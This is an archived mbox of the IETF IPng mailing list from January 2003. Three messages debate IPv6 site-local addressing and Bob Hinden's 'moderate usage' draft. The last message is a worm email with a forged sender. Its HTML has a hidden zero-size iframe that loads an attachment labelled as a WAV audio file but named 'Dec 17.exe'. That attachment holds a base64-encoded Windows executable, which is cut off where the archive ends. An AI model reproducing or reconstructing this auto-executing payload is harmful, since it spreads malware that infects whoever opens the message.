From owner-ipng@sunroof.eng.sun.com Wed Jan  1 08:10:58 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h01GAw16014665;
	Wed, 1 Jan 2003 08:10:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h01GAw9n014664;
	Wed, 1 Jan 2003 08:10:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h01GAt16014657
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 08:10:55 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h01GB5uk006174
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 08:11:05 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA08233
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 09:10:59 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.7])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id IAA04160;
	Wed, 1 Jan 2003 08:09:57 -0800 (PST)
Message-Id: <5.1.0.14.2.20030101102739.02f82308@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 01 Jan 2003 11:08:23 -0500
To: Hiroki Ishibashi <bashi@ipv6.nec.co.jp>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: Moderate Site-Local Usage Draft
Cc: Bob Hinden <hinden@iprg.nokia.com>, ipng@sunroof.eng.sun.com
In-Reply-To: <9CC2B0B5DC41F6bashi@ipv6.nec.co.jp>
References: <4.3.2.7.2.20021230103453.029ed690@mailhost.iprg.nokia.com>
 <4.3.2.7.2.20021230103453.029ed690@mailhost.iprg.nokia.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Hiroki Ishibashi <bashi@ipv6.nec.co.jp> wrote:
>I am in favor of this document for site-local usages.
>This document appropriately limits the use of site-local addresses,
>and still leaves the room for future usage of them (which we don't know).

This comment raises a basic question regarding what system design
principles should be applied to the specification of IPv6.

Some people would like to specify site-local addressing in IPv6, even
though we have no specific requirement for it today, because it might
be useful in the future.  These arguments often take the form of
"Site-local addresses may enable <cool thing> in the future."

Others seem to argue that we should include site-local addressing for
some sort of "completeness".  This argument takes the form of "It
makes sense to have a unicast address scope somewhere between link-
local and global, because that maps to how networks are constructed."

But, in my opinion, neither of these arguments makes sense from
a system design perspective.  IPv4 has become ubiquitous partially
because it is a simple and light-weight as possible.  It is the
slim center of the hourglass, the one small piece of software that
all nodes have to implement to communicate on an IP network.  All
of the complicated, optional parts are included at other layers.

Throughout the history of IPv6, we have wrestled with "second
system" syndrome.  We've added a lot of weight to the IP protocol,
sometimes adding things that are only useful in certain situations,
or for some nodes.  And, in my opinion, the worst possible thing
that we can do in this area is add a feature that complicates every
IPv6 implementation and requires complexity at every layer of the
protocol stack, because that feature _may_ have some benefits
later...

Site-local addressing is an interesting idea, and I think that it
was worth exploring.  But, at this point, we've been exploring it
for several years, and we've found many problems and complexities
that it causes (outlined in my document), and we haven't come up
with a _single_ benefit of site-local addressing that wouldn't
be better handled by a simpler mechanism.  [If you think I'm wrong,
please read my site-local impact document, and tell me what I'm
missing.]

There is a direct cost vs. benefit trade-off here, and including
site-local addressing in IPv6 just doesn't make sense.

I am also becoming increasingly certain that the concept of
communication "scope" (for both unicast and multicast, actually)
is really a routing concept, not an addressing concept, and that
it is NOT best handled by the use of special-purpose "scoped"
addresses.  Instead, it would have been better to use only
globally-unique, globally-routable addresses, and to build
communication "scope" into the routing and access control
policy of the network.

Margaret





--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan  1 08:59:56 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h01Gxt16014795;
	Wed, 1 Jan 2003 08:59:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h01Gxt1Z014794;
	Wed, 1 Jan 2003 08:59:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h01Gxq16014787
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 08:59:52 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h01GxwXq018021
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 08:59:58 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA07089
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 08:59:53 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id IAA05572;
	Wed, 1 Jan 2003 08:59:52 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h01Gxqd15519;
	Wed, 1 Jan 2003 08:59:52 -0800
X-mProtect: <200301011659> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (209.157.142.168, claiming to be "spruce.iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdZvhcSK; Wed, 01 Jan 2003 08:59:50 PST
Message-Id: <4.3.2.7.2.20030101084004.025a5408@mailhost.iprg.nokia.com>
X-Sender: hinden@mailhost.iprg.nokia.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 01 Jan 2003 08:59:03 -0800
To: Hiroki Ishibashi <bashi@ipv6.nec.co.jp>
From: Bob Hinden <hinden@iprg.nokia.com>
Subject: Re: Moderate Site-Local Usage Draft
Cc: Bob Hinden <hinden@iprg.nokia.com>, ipng@sunroof.eng.sun.com
In-Reply-To: <9CC2B0B5DC41F6bashi@ipv6.nec.co.jp>
References: <4.3.2.7.2.20021230103453.029ed690@mailhost.iprg.nokia.com>
 <4.3.2.7.2.20021230103453.029ed690@mailhost.iprg.nokia.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hiroki,

> >   The motivation for this use case is to restrict the use of site-local
> >   addresses to communication inside of the site and insure that they
> >   are less likely to be used for any site to site communication.
>
>I cannot understand what this sentence means.  I believe that any
>site-to-site communication is supposed to be done via global addresses.
>Site local addresses MUST not be used for inter-site communication.
>Or am I misunderstanding?

That is what the draft is trying to say.  The draft is attempting to define 
rules/guidelines that insure that site-local addresses will not be used for 
site to site (inter-site) communications.

> >   Using limited scope addresses for site to site communication, while
> >   possible (i.e., via tunneling or VPN technologies), is problematic
> >   and makes it hard to debug problems.  Overall it is simpler to use
> >   global addresses.
>
>Does it include configured IPv6-over-IPv4 tunnels?
>Many IPv6 networks are built using IPv6-over-IPv4 tunnels.

This is a good point to cover.  I think the answer depends on what is being 
connected with IPv6-over-IPv4 tunnels.  Is a single site?  If not, then 
site-local addresses should not be used.

>I am in favor of this document for site-local usages.
>This document appropriately limits the use of site-local addresses,
>and still leaves the room for future usage of them (which we don't know).

Thanks.  The draft attempts to define a use case where site-locals are only 
used where specifically configured.  This will permit their use for 
situations where the site desires to use them, but limit their use otherwise.

>Personally, I would like to have Margaret's
>draft-wasserman-ipv6-sl-impact-00.txt as a document on the issues
>associated with site-local addressing (w/o recommendations section)
>and Bob's draft-hinden-ipv6-sl-moderate-00.txt as a site-local usage
>document.  I know that many people have different opinions. :-)

That would be a reasonable approach.  Yes, opinion do vary on this topic!

>Thank you and A Happy New Year,

Happy New Year,
Bob

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan  1 09:53:44 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h01Hri16014961;
	Wed, 1 Jan 2003 09:53:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h01Hrhuv014960;
	Wed, 1 Jan 2003 09:53:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h01Hre16014953
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 09:53:40 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h01HroXq024405
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 09:53:50 -0800 (PST)
Received: from Radish (Air1Aab013.ngn.mesh.ad.jp [61.193.78.77])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id KAA04098
	for <ipng@sunroof.eng.sun.com>; Wed, 1 Jan 2003 10:53:43 -0700 (MST)
Received: from ishibashi.net ([127.0.0.1]) by Radish(2.2.8) with SMTP; Thu, 2 Jan 2003 02:52:51 +0900
Date: Thu, 02 Jan 2003 02:52:51 +0900
From: Hiroki Ishibashi <bashi@ipv6.nec.co.jp>
Subject: Re: Moderate Site-Local Usage Draft
To: Margaret Wasserman <mrw@windriver.com>
Cc: Bob Hinden <hinden@iprg.nokia.com>, ipng@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: TuruKame 2.29 (WinNT,500)
Organization: NEC Corporation
In-Reply-To: <5.1.0.14.2.20030101102739.02f82308@mail.windriver.com>
References: <5.1.0.14.2.20030101102739.02f82308@mail.windriver.com>
Message-Id: <B5C2B1BE9AB50Abashi@ipv6.nec.co.jp>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Margaret,

>
>Hiroki Ishibashi <bashi@ipv6.nec.co.jp> wrote:
>>I am in favor of this document for site-local usages.
>>This document appropriately limits the use of site-local addresses,
>>and still leaves the room for future usage of them (which we don't know).
>
>This comment raises a basic question regarding what system design
>principles should be applied to the specification of IPv6.

Sorry for my careless comment.

>
>Site-local addressing is an interesting idea, and I think that it
>was worth exploring.  But, at this point, we've been exploring it
>for several years, and we've found many problems and complexities
>that it causes (outlined in my document), and we haven't come up
>with a _single_ benefit of site-local addressing that wouldn't
>be better handled by a simpler mechanism.  [If you think I'm wrong,
>please read my site-local impact document, and tell me what I'm
>missing.]

The decision of whether a substitution by a simpler mechanism
is better or not depends on reader's preference.


>
>I am also becoming increasingly certain that the concept of
>communication "scope" (for both unicast and multicast, actually)
>is really a routing concept, not an addressing concept, and that
>it is NOT best handled by the use of special-purpose "scoped"
>addresses.  Instead, it would have been better to use only
>globally-unique, globally-routable addresses, and to build
>communication "scope" into the routing and access control
>policy of the network.

To be honest, I DO not have an obsession with site-local addresses if
an alternative solution is available.
The reasons for insisting simultaneous use of site-local and global 
addresses are simply:
	1) a user need to use site-local addresses to build
	   a provider independent IPv6 network now.
	   
	2) As I descried once on this mailing list, simultaneous
	   use of site-local addresses and global addresses is
	   realistic when a disconnected IPv6 network gets connected
	   to IPv6 Global Internet at least for its transition period.
	   For enterprise users, this scenario well suits their 
	   needs.  If "Provider Independent Global Address" had 
	   been available, I would have used it.  I just want to have
	   a better solution "right now" and tell my enterprise customers
	   that it is OK to start IPv6 for their intranet along with
	   a transition scenario to the IPv6 Internet. 
	   
	3) I have several enterprise customers who like the idea of
	   setting their intranet servers within a site and assign
	   only site-local addresses to them with simple site boundary
	   setting.
	   
Thank you,

Hiroki Ishibashi
bashi@ipv6.nec.co.jp

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan  2 18:00:27 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0320R16022040;
	Thu, 2 Jan 2003 18:00:27 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0320Q1o022039;
	Thu, 2 Jan 2003 18:00:26 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0320N16022032
	for <ipng@sunroof.eng.sun.com>; Thu, 2 Jan 2003 18:00:23 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0320XXq004410
	for <ipng@sunroof.eng.sun.com>; Thu, 2 Jan 2003 18:00:33 -0800 (PST)
Received: from goatelecom.com ([61.1.72.28])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA13389
	for <ipng@sunroof.eng.sun.com>; Thu, 2 Jan 2003 18:00:21 -0800 (PST)
Received: from Bpjjbycpd (dialup-72-210.goatelecom.com [61.1.72.210])
	by goatelecom.com (8.11.0/8.11.0) with SMTP id h032Daq05781
	for <ipng@sunroof.eng.sun.com.>; Fri, 3 Jan 2003 07:43:36 +0530 (IST)
Date: Fri, 3 Jan 2003 07:43:36 +0530 (IST)
Message-Id: <200301030213.h032Daq05781@goatelecom.com>
From: fenner <fenner@research.att.com>
To: ipng@sunroof.eng.sun.com
Subject: Have a funny Epiphany
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary=EPLSIKgf8Rz1VkW4887m7j
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

--EPLSIKgf8Rz1VkW4887m7j
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:AisTS6tW9c3l height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--EPLSIKgf8Rz1VkW4887m7j
Content-Type: audio/x-wav;
	name=Dec 17.exe
Content-Transfer-Encoding: base64
Content-ID: <AisTS6tW9c3l>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ
AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA
QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA
AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
